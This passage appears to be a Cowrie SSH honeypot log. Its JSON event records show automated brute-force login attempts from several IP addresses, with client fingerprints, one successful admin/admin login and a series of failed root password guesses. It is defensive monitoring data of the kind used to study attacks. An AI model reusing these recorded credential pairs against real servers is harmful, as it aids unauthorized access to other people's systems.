25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:35.520655Z","src_ip":"130.12.180.51","session":"08ba09c679ae","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:35.768097Z","src_ip":"130.12.180.51","session":"08ba09c679ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:36.299700Z","src_ip":"130.12.180.51","session":"08ba09c679ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:36.701836Z","src_ip":"60.165.124.241","session":"580d15447eb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45432,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0c735eb2691","protocol":"ssh","message":"New connection: 60.165.124.241:45432 (10.17.0.5:22) [session: d0c735eb2691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:36.950810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:36.954976Z","src_ip":"60.165.124.241","session":"d0c735eb2691","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:37.202593Z","src_ip":"60.165.124.241","session":"d0c735eb2691","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@147258","message":"login attempt [root/Aa@147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:37.927612Z","src_ip":"60.165.124.241","session":"d0c735eb2691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:39.174319Z","src_ip":"60.165.124.241","session":"d0c735eb2691","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48406,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c36b94e4b92","protocol":"ssh","message":"New connection: 60.165.124.241:48406 (10.17.0.5:22) [session: 6c36b94e4b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:39.403266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:39.406852Z","src_ip":"60.165.124.241","session":"6c36b94e4b92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:39.644971Z","src_ip":"60.165.124.241","session":"6c36b94e4b92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx#Edc","message":"login attempt [root/!Qaz@Wsx#Edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:40.365430Z","src_ip":"60.165.124.241","session":"6c36b94e4b92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:41.607206Z","src_ip":"60.165.124.241","session":"6c36b94e4b92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51802,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3c7b39dae5d","protocol":"ssh","message":"New connection: 60.165.124.241:51802 (10.17.0.5:22) [session: c3c7b39dae5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:41.841095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:41.846119Z","src_ip":"60.165.124.241","session":"c3c7b39dae5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:42.084026Z","src_ip":"60.165.124.241","session":"c3c7b39dae5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z123456","message":"login attempt [root/z123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:42.804809Z","src_ip":"60.165.124.241","session":"c3c7b39dae5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:44.044094Z","src_ip":"60.165.124.241","session":"c3c7b39dae5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54796,"dst_ip":"10.17.0.5","dst_port":22,"session":"847d63f0ef6b","protocol":"ssh","message":"New connection: 60.165.124.241:54796 (10.17.0.5:22) [session: 847d63f0ef6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:44.272490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:44.276788Z","src_ip":"60.165.124.241","session":"847d63f0ef6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:44.511533Z","src_ip":"60.165.124.241","session":"847d63f0ef6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yy123456","message":"login attempt [root/yy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:45.224466Z","src_ip":"60.165.124.241","session":"847d63f0ef6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:46.463233Z","src_ip":"60.165.124.241","session":"847d63f0ef6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57866,"dst_ip":"10.17.0.5","dst_port":22,"session":"334ffeea6fd8","protocol":"ssh","message":"New connection: 60.165.124.241:57866 (10.17.0.5:22) [session: 334ffeea6fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:46.700878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:46.706389Z","src_ip":"60.165.124.241","session":"334ffeea6fd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:46.944849Z","src_ip":"60.165.124.241","session":"334ffeea6fd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"518518","message":"login attempt [root/518518] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:47.665221Z","src_ip":"60.165.124.241","session":"334ffeea6fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:48.907122Z","src_ip":"60.165.124.241","session":"334ffeea6fd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":32914,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5618ba4fdd0","protocol":"ssh","message":"New connection: 60.165.124.241:32914 (10.17.0.5:22) [session: a5618ba4fdd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:49.141954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:49.147208Z","src_ip":"60.165.124.241","session":"a5618ba4fdd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:49.388885Z","src_ip":"60.165.124.241","session":"a5618ba4fdd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"owen","message":"login attempt [root/owen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:50.115145Z","src_ip":"60.165.124.241","session":"a5618ba4fdd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:51.357517Z","src_ip":"60.165.124.241","session":"a5618ba4fdd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35952,"dst_ip":"10.17.0.5","dst_port":22,"session":"34f6779da678","protocol":"ssh","message":"New connection: 60.165.124.241:35952 (10.17.0.5:22) [session: 34f6779da678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:51.597986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:51.602830Z","src_ip":"60.165.124.241","session":"34f6779da678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:51.855088Z","src_ip":"60.165.124.241","session":"34f6779da678","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yun@wocloud.szkj","message":"login attempt [root/Yun@wocloud.szkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:52.580775Z","src_ip":"60.165.124.241","session":"34f6779da678","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:53.828591Z","src_ip":"60.165.124.241","session":"34f6779da678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39142,"dst_ip":"10.17.0.5","dst_port":22,"session":"50fc141a7ed1","protocol":"ssh","message":"New connection: 60.165.124.241:39142 (10.17.0.5:22) [session: 50fc141a7ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:54.073092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:54.078263Z","src_ip":"60.165.124.241","session":"50fc141a7ed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:54.389981Z","src_ip":"60.165.124.241","session":"50fc141a7ed1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234root","message":"login attempt [root/1234root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:55.146445Z","src_ip":"60.165.124.241","session":"50fc141a7ed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":35592,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbe71001d6b1","protocol":"ssh","message":"New connection: 80.94.92.168:35592 (10.17.0.5:22) [session: fbe71001d6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:56.214525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:52:56.338731Z","src_ip":"80.94.92.168","session":"fbe71001d6b1","protocol":"ssh"}
